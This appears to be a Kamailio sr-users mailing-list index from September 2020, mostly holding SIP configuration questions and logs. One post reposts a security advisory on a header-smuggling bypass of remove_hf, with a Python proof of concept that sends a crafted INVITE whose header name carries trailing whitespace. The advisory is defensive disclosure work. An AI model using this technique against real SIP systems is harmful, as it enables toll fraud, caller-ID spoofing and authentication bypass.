- sr-users - kamailio.org

SRVCC Support
by Hamid Hashmi 25 Sep '20

25 Sep '20

Do Module RTPENGINE Supports 'Replaces' header (RFC 3891), if yes then how to use this feature if no then will module RTPEngine will have support for 'Replaces' in the near future? I have been using Freeswitch for this functionality but facing many difficulties in it. Regards Hamid R. Hashmi

3 3

Mapping History-Info <-> Diversion headers
by Anonim Stefan 25 Sep '20

25 Sep '20

Hi guys, I am trying to map all History-Info to/from Diversion headers in a given SIP REQUEST, based on RFC 7544. I want to ask if you are aware of any module functions that does that? (e.g. something like convert_history_to_diversion() and convert_diversion_to_history()) Alternatively, I want to ask you what do you think of such module functions and in which module would they fit best? e.g. textops/tectopsx/diversion ?! Thank you, Stefan

2 1

usrloc - ka_mode timeout
by Ilie Soltanici 25 Sep '20

25 Sep '20

Hello, Is there any way to add those functions from the nathelper module to the usrloc module? *keepalive_timeoutnatping_interval* I'm looking to use ka_mode feature from the usrloc module in order to have roundtrip time computed for each extension but because those functions are missing in the usrloc module and per documentation this functionality conflicts in some way with nathelper module it's not recommended to have both modules enabled. Or maybe there is another way to have them "interconnected"? Thank you.

2 9

rtpproxy_manage and AWS
by Aymeric Moizard 25 Sep '20

25 Sep '20

Hi, I have 2 hosts on AWS behind NAT: One with rtpproxy: /usr/local/bin/rtpproxy -f -p /run/rtpproxy/rtpproxy.pid -s udp: 0.0.0.0:31500 -A 15.236.230.177 <http://15.236.230.177/15.236.230.177> -l 0.0.0.0 <http://0.0.0.0/0.0.0.0> -m 35000 -M 65000 -d DBUG:LOG_LOCAL5 -u rtpproxy:rtpproxy -F The other one, with a kamailio and using only rtpproxy_manage(); without parameters. I'm surprised because in my SDP being modified, kamailio is replacing with its KAMILIO private IP. (not the rtpproxy one) I see that rtpproxy and kamailio are exchanging data. Nothing obvious is coming out. Any obvious mistakes? Anything you need to help? Should I switch to another rtp engine? Regards Aymeric -- Antisip - http://www.antisip.com

2 3

Record Route
by Andy Kama 24 Sep '20

24 Sep '20

I am trying to add a record route to my initial invite but in the logs i can see it says inserted preset record route but if i look in the invite there is not record route here is my config record_route_preset("mydns:5061;transport=tls", "myip:5060");

1 0

TLS Error
by Andy Kama 24 Sep '20

24 Sep '20

Hi Guys I am getting a strange tls error and not sure why my kamailio config is #!define WITH_TLS #!ifdef WITH_TLS enable_tls=1 listen=tls:1.2.3.4:5061 /* upper limit for TLS connections */ tls_max_connections=2048 #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif ###tls.cfg [server:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem [client:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8708]: INFO: {1 1 OPTIONS 84bbc013-5cd1-43a7-a240-106ec00aa628} <core> [core/tcp_main.c:2948]: tcpconn_1st_send(): quick connect for 0x7f776544c978 sock 13 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_util.h:42]: tls_err_ret(): TLS accept:error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f7765419b50 r: 0x7f7765419c78 (-1) Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f776544c978 r: 0x7f776544caa0 (-1)

1 0

Calling a user registered on a different kamailio
by Joey Golan 24 Sep '20

24 Sep '20

Hello, I’m trying to make a call between 2 users registered (TLS) on two different kamailio instances behind haproxy with NAT handling. UE1 is registered to kamailio1 UE2 is registered to kamailio2 DMQ and dmq_usrloc are enabled so each kamailio can see all registered users. What else do I need to do in order to make it work properly? Thanks, Joey.

2 3

Not seeing ACK to 200 as existing transaction
by Steve Bucklin 23 Sep '20

23 Sep '20

Hello all, If there is someone that can help with this, that would be rather good! I can supply further details upon anyone having seen this before....... In NORMAL operation, I get an INVITE and process this (My Kamailio is processing SS7 CAMEL, and does an MRSN lookup) It then makes the INVITE onwards to the MSRN collected. When answered, I see the 200. I pass the 200 back to the source of the INVITE I get the ACK, and use "t_check_trans()" and if that returns true will route the ACK onward (I am in the ACK path having set Record-route on the 200) This all works. FAILURE occurs when I get INVITE from another source (one step removed from the generating gateway) All works as it should *BUT* the t_check_trans() returns FALSE, so I guess there is a matching issue to the live transaction? I have tried a "work around" and routed the ACK anyway. This *does* work, and is routed correctly forward to the original "contact" and the 200 messages stop being repeated.. *BUT* the Kamailio instance here times out the dialog as the ACK was not seen correctly. I also popped a "t_check_trans()" into the reply route to test the 200 OK that I get, and that returns TRUE. Here is the 200 message that I send back to the INVITE sender: SIP/2.0 200 OK Via: SIP/2.0/UDP 52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e Record-Route: <sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t> Record-Route: <sip:52.1.2.3:5060;lr> From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 INVITE Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp> User-Agent: Ziron Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER, NOTIFY, PUBLISH, SUBSCRIBE Supported: timer, path, replaces Allow-Events: talk, hold, conference, presence, as-feature-event, dialog, line-seize, call-info, sla, include-session-description, presence.winfo, message-summary, refer Content-Type: application/sdp Content-Disposition: session Content-Length: 216 P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3> v=0 o=MSX53 11014726 11014726 IN IP4 88.1.2.3 s=sip call c=IN IP4 88.1.2.3 t=0 0 a=sendrecv m=audio 14810 RTP/AVP 8 99 a=rtpmap:8 PCMA/8000 a=rtpmap:99 telephone-event/8000 a=fmtp:99 0-15 a=ptime:20 And this is the ACK I get back: ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0 Via: SIP/2.0/UDP 52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781 Contact: sip:+44128084XXXX@149.1.2.3 To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 ACK User-Agent: PartitionwareTM SIP Toolkit v4.0.30319 Content-Length: 0 Max-Forwards: 69 Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK Supported: timer,100rel Allow-Events: telephone-event P-hint: outbound Any thoughts would be great, Steve

2 1

Kamailio Slack Channel Invite
by Peter Baines 23 Sep '20

23 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. Apologies if this is not the correct place to post. Regards, Peter -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Sandro Gauci 23 Sep '20

23 Sep '20

Dear Kamailio Users, posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. Advisory follows: # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf - Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…> - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01 ## Description Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. ## Impact The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. ## How to reproduce the issue We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue: ```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ``` In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. ## Solutions and recommendations The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

10 33

Kamailio drop calls with Teams
by sip user 22 Sep '20

22 Sep '20

Hi, I'm connecting Teams with kamailio server. From Kamailio to teams I have no problems, but from teams to Kamailio yes. Drop the call.. With ngrep I see that: INVITE sip:1005@CLIENT_IP:55766;transport=UDP;rinstance=d47edf336726e940 SIP/2.0. Record-Route: <sip:FQND_IP;r2=on;lr>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. FROM: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. TO: <sip:+34560@FQND:5061;user=phone>. CSEQ: 1 INVITE. CALL-ID: c1364913e582553a9a9c2544c3583b0a. MAX-FORWARDS: 69. Via: SIP/2.0/UDP 92.222.217.64;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. VIA: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. RECORD-ROUTE: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. CONTACT: <sip:api-du-a-euno.pstnhub.microsoft.com:443 ;x-i=b0b53fc5-76ef-4619-9a68-13e0a4eea92d;x-c=c1364913e582553a9a9c2544c3583b0a/d/8/6c25eb3789a14bf188ce6b05b5e27891>. CONTENT-LENGTH: 1091. MIN-SE: 300. SUPPORTED: timer. USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.7.31.1 i.EUNO.0. CONTENT-TYPE: application/sdp. ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY. P-ASSERTED-IDENTITY: <tel:+324>,<sip:EMAIL>. PRIVACY: id. SESSION-EXPIRES: 3600. . v=0. o=- 165103 0 IN IP4 127.0.0.1. s=session. c=IN IP4 52.113.44.8. b=CT:10000000. t=0 0. m=audio 50452 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 2130706431 52.113.44.8 50452 typ srflx raddr 10.0.33.240 rport 50 U CLIENT_IP:55766 -> FQND_IP:5060 #2 SIP/2.0 180 Ringing. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 0. U CLIENT_IP:55766 -> FQND_IP:5060 #3 SIP/2.0 200 OK. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE. Content-Type: application/sdp. Supported: replaces. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 1067. . v=0. o=3cxVCE 324945090 117647850 IN IP4 . s=3cxVCE Audio Call. t=0 0. m=audio 0 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtpmap:104 SILK/16000. a=rtpmap:9 G722/8000. a=rtpmap:103 SILK/8000. a=rtpmap:111 SIREN/16000. a=fmtp:111 bitrate=16000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=rtpmap:97 RED/8000. a=rtpmap:101 telephone-event/8000. a=fmtp:101 0-16. a=rtpmap:13 CN/8000. a=rtpmap:118 CN/16000. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 213 I never received ACK.. In my configuration: Kamailio.cfg: #!KAMAILIO #!define WITH_TLS event_route[tm:local-request] { if(is_method("OPTIONS") && $ru =~ "pstnhub.microsoft.com") { append_hf("Contact: <sip:FQND:5061;transport=tls>\r\n"); } xlog("L_INFO", "Sent out tm request: $mb\n"); } request_route{ remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { xlog("L_INFO","$fU is trying to call to $rU con valores $tu\n"); $rU="1005"; } } What I'm doing wrong? I don't understand why not received ACK.. Could anyone help me? Thanks

5 21

Kambdctl create command
by Pavithra Mohanraja 22 Sep '20

22 Sep '20

Hi, I need to use kambdctl create command but that has to create database in another vm where mysql is alone installed. How to do that? Thanks, Pavithra

2 1

Kamailio Slack Invite
by Peter Baines 22 Sep '20

22 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Info: recordings of Kamailio World 2020 sessions
by Daniel-Constantin Mierla 22 Sep '20

22 Sep '20

Hello, for those that couldn't attend the Kamailio World 2020 online event that happened a few weeks ago, or someone wants to view again a session, the recordings of the two days were split per session -- they are available on KamailioWorld youtube channel: * https://www.youtube.com/c/KamailioWorld/ For convenience, they were also grouped in a playlist for KW2020, see: * https://www.youtube.com/c/KamailioWorld/playlists No other editing than just cutting at start/stop of each session. Slides should be available at: * http://kamailio.org/events/2020-KamailioWorldOnline/ Enjoy! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Error on ACK/BYE After 200
by Neimar 21 Sep '20

21 Sep '20

Hello, I am trying to set up a Webrtc by using Kamailio, Asterisk and Rtpengine. So far, everything is working fine , I'm able to register an extension and make a call, but for some reason, when i'm trying to call a WebRTC extension from any SIP Extension from Asterisk, Kamailio is sending INVITE, WebRTC extension is sending back 200 OK, and then Kamailio is trying to send an ACK through UDP protocol, and not through wss, as it's supposed to do. In console, I see: Sep 21 20:39:06 vsphone3-sbc /usr/sbin/kamailio[9756]: WARNING: {1 102 ACK 332ee81b4eb178ac156e8d3e53a98900@172.16.11.6:5060} <core> [core/forward.c:231]: get_send_socket2(): protocol/port mismatch (forced tls:172.16.11.57:8443, to udp:187.20.56.83:27730) My scenario is: Internet -> Firewall -> Kamailio -> Asterisk Working: Softphone -> Kamailio -> Asterisk (TCP/UDP/TLS(SRTP) Asterisk -> Kamailio -> Softphone (TCP/UDP/TLS(SRTP)) Webrtc -> Kamailio -> Asterisk (WSS) Not Working: Asterisk -> Kamailio -> Webrtc After a answer from Webrtc, I can listen sound, so, RTP in theory is fine. Webrtc send 200 OK to Kamailio Kamailio Send 200 OK to Asterisk. Asterisk Send ACK to Kamailio ACK not forwarded to Webrtc. In attachment, my kamailio.cfg Every Help is welcome. Thanks Neimar.

1 0

Kamailio uses Python
by Pavithra Mohanraja 21 Sep '20

21 Sep '20

Hi, I am building kamailio as an docker image by installing kamailio using "apt-get install kamailio" in ubuntu 18.04, which installs python by default which makes my image size bigger. Does kamailio uses Python?. else what could be the alternative? Does anybody came across this situation. Kindly advise. Thanks, Pavithra

2 3

Kamailio IF Routes
by conradcordeiro＠gmail.com 21 Sep '20

21 Sep '20

Hello, Is it possible to set up Kamailio 5.4.1 to use IF to determine how calls are proxied depending on the source of the request? For example, *_if_* calls originate from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, wheres _*if*_ calls originate from /pstn.us2.twilio.com/ then _/$du = "sip01.example.com:5060"/_. Additionally, would this also be possible based on numbers? For example, _*if*_ calls are to number +1-800-777-8888 then /$du = "sip01.example.com:5060"/, or if calls are to number +1-800-777-9999 then /$du = "sip02.example.com:5060"/. To be clear, I don't expect both examples above to work in the same Kamailio instance but IF and AND clauses are possible, such as _*if*_ calls are to number +1-800-777-8888 AND from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, it'd be great to test this too. I'm not sure if I'm allowed to ask such specific questions on this mailing list and I hope I'm not asking too much. Many thanks, Conrad

3 4

SRTP/TLS BYE Problem with One of the Legs of the Call
by conradcordeiro＠gmail.com 20 Sep '20

20 Sep '20

Hello, Thank you for your reading this and for your help. I'm a Kamailio newbie and managed to set up an edge proxy, which works perfectly on UDP traffic. I'm now attempting to deploy TLS/SRTP and everything almost works perfectly. The single issue I'm having is that when either of the parties to an SRTP/TLS call disconnect, the other party's call remains active. With UDP, when one of the parties disconnects the call, the other leg of the call receives the BYE command and the call automatically disconnects. This is how I have our infrastructure set up: 1. Twilio SIP Trunk with Secure Media enabled. 2. Kamailio 5.4.1 set up with TLS module, set to listen on TLS port 5061, SSL certificates from Let's Encrypt, route set to our phone system. 3. Phone system is Asterisk. As per above, everything works almost perfectly with TLS/SRTP. The only issue is that calls will not disconnect when one of the sides hang up. If I disable TLS/SRTP and use UDP only, everything works. Audio is just fine with TLS/SRTP. Does anyone know why calls with SRTP/TLS will not disconnect automatically when one of the parties ends the call? Thank you, Conrad

2 2

Kamailio support for 5g
by Pavithra Mohanraja 18 Sep '20

18 Sep '20

Hi, Does kamailio IMS support for 5g Network functions since in 5g everything is handled via http requests. Could anyone please respond Thanks, Pavithra

3 4

IMS Diameter server module
by Pavithra Mohanraja 18 Sep '20

18 Sep '20

Hi, Can anybody reply what is the exact use of diameter server module. I am unable to understand from the kamailio doc provided. It is mentioned that it converts diameter messages to json messages. But without diameter.xml file, it is not working. Whats the exact use of it. Can i not be able to send the http request alone via Rx interface instead of using diameter.xml file. Kindly reply as i am blocked in this for few days. Thanks, Pavithra

1 0

Connection-oriented socket closure event hooks
by Alex Balashov 18 Sep '20

18 Sep '20

Hi, The `tcpops` module exposes, * event_route[tcp:closed] * event_route[tcp:timeout] * event_route[tcp:reset] These fire on closure of TCP connections and TLS connections. TLS is considered a separate transport in Kamailio, having distinct identifiers in all cases where transport protocol is relevant, configured by separate and specific parameters, and provided by a separate module (tls). But TLS runs on top of TCP, of course, so treating a TLS disconnection as a superset of TCP disconnection makes sense. WebSocket is considered a separate transport in Kamailio, having distinct identifiers in all cases where transport protocol is relevant, configured by separate and specific parameters, and provided by a separate module (websocket). But WebSocket runs on top of TCP, of course... ... yet it doesn't trigger these TCP connection events. Instead, one must use a separate `event_route[websocket_closed]` event route for this. Is there a reason for this inconsistency? I would think that the common denominator of TCP would lead to the same hierarchy of abstraction when it comes to events. It becomes important because if one wishes for Kamailio to log or notify disconnections for vanilla SIP or browser-based clients, one must essentially implement the same code twice. Thank you, -- Alex -- Alex Balashov | Principal | Evariste Systems LLC Tel: +1-706-510-6800 / +1-800-250-5920 (toll-free) Web: http://www.evaristesys.com/, http://www.csrpswitch.com/

2 1

webrtc sound problem in version 85.0 google chrome version
by Hamed Rastegar 17 Sep '20

17 Sep '20

Hello I am using kamailio 5.1 for WebRTC (websocket) But in the latest version of Google Chrome (85.0) I have a problem, No sound is transmitted between the source and the destination. This problem does not exist in Firefox browser If you have experience in this field, please comment

4 3

Diameter Messages for Rx
by Pavithra Mohanraja 17 Sep '20

17 Sep '20

Hi, Kindly give me some guidelines on how to convert diameter messages to http messages when establishing connection between PCSCF and PCF Kindly help Thanks, Pavithra

1 0

Few newbie questions
by Adam Rutkowski 17 Sep '20

17 Sep '20

Hi Everyone As I am just dipping my foot in the VOIP waters so please bear with me. Although it may be more appropriate for Freeswitch group I am sure there are plenty of knowledgeable folks here. I'm playing with freeswitch in my lab environment and really like what Kamailio has got to offer. That being said, there are few concepts I need help understanding. Consider this ( for hosted services I suppose ) [image: Screenshot 2020-09-16 at 22.21.22.png] 1 Does this topology seem right ? 2 If Kamailio is used as registar and load balancer, does that mean all domains, extensions must be present on all the FS boxes ? 3 How will auto provisioning work in this case ? Now, in the below scenario, clients have got FS box deployed on prem [image: Screenshot 2020-09-16 at 22.28.09.png] 4 Is there any reason to keep the FS farm ? or Kamailio poxying calls to VOIP providers is enough ? 5 What roles Kamailio could be used for in this case ? 6 Is deploying on prem PBX for a customer a popular solution ? 7 Anyone deployed above on Docker/ Kubernetes ? How's the performance and the bad bits if any ? I do realize this is pretty basic stuff for everyone in here, however, I would appreciate any helpful comments and if there is some good literature/ links you can recommend, I am all ears. Regards Adam

2 1

Kamailio IMS Diameter Messages
by Pavithra Mohanraja 17 Sep '20

17 Sep '20

Hi, Is there any possibility of converting diameter messages to http requests in IMS. Since I am working in 5g based network, In order to connect pcscf to pcf, Rx interface has to be established. But PCF is not accepting diameter messages. It is failing with error "No connected DefaultRoute peer found for app_id 16777236 and vendor id 10415" I used IMS Diameter server since it is mentioned as converting diameter messages to http json messages. But even before calling that diameter server, It is failing with App_id issue. How it works? Need to understand, how the diameter messages are working since in 5g , everything is based on http rest apis. Is there any possibility of connecting to it or there is no support in kamailio IMS for 5g. If you have any idea, please let me know. It will be very useful for me. Thanks, Pavithra

1 0

multi netwotk interface kamailio stops processing packets in one of it's network interfaces although keeps processing in the others
by Nuno Miguel Reis 17 Sep '20

17 Sep '20

Hello everyone. I've started to have an issue with a kamailio 4.4 instance listening on multiple network interfaces where it stops processing SIP on one of it's network interfaces but still continues to work fine on the others. If I restart kamailio everything starts working fine again. I'm using the default 'children=8' and one of my guesses on why this could be happening is that the number of childs processing couldn't be enough. Do you remember anything else on an issue like this where I should be looking? Thanks. -- Nuno Miguel Reis Departamento de Engenharia Informática Faculdade de Ciências e Tecnologia Universidade de Coimbra

4 5

Regular Expression Evaluation
by Mack Hendricks 16 Sep '20

16 Sep '20

I already run into issues with this. If I want to only execute a statement if it’s an INVITE with a request domain of 10.10.*.* how do I format? Below is what I have. I always have to play with it a bit. Looking to get a better understanding. The regular expression tester I’m using states that it’s valid. What am I doing wrong? if ((is_method("INVITE")) && ($rd =~ "10\.10\..+")) { # Do something xlog("fix got a 10.10 address"); } Thanks

5 8

CockroachDB and Kamailio
by Noah Mehl 16 Sep '20

16 Sep '20

Has anyone been down this path before? We are trying to test this out and the results are pretty promising so far. I realize the lack of Stored Procedures and Triggers make this untenable for many Postgres based implementations. Thanks! ~Noah

4 11

Kamailio does not forward BYE to Asterisk
by egemen ulus 16 Sep '20

16 Sep '20

Hi all, I have an infrastructure with Kamailio (reg), Asterisks farm, and Kamailio (4.3) proxy which dispatches calls. Trunk-1 (Vlan_A) Kam(reg) <> Asterisk Farm (5) <> Kam(proxy) <> Trunk-2 (Vlan_B) Trunk-3 (Vlan_C) For each trunk, I have to use the IP of the VLAN interface in "contact header". That means when I need to send a call to Trunk-1 I have to set Vlan_A IP address on the contact header. I have achieved that by rewriting Contact Header. ### remove_hf("Contact:"); append_hf("Contact: <sip:$fU@$var(recieved)>\r\n", "Call-ID"); #by using db ### But this causes a problem, Kamailio does not forward the BYE message that comes from Trunk-X to Asterisk (In before, the BYE message had Asterisk IP in R-URI). However, when I use topoh module it forward properly for one trunk. But I can not set multiple mask IP in topoh module. I'm using the dialog module and I thought it can handle all requests in one dialog to forward to the correct asterisk but it did not. Is there any suggestion for this case? And also how many sub-interfaces can Kamailio handle for a good performance? Or do you suggest multiple Kamailio instances instead of multiple sub-interfaces on one server? [https://ipmcdn.avast.com/images/icons/icon-envelope-tick-round-orange-anima…]<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campai…> Virus-free. www.avast.com<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campai…>

2 5

Kamailio used as proxy for Conference factories
by Adrian Tabacioiu 16 Sep '20

16 Sep '20

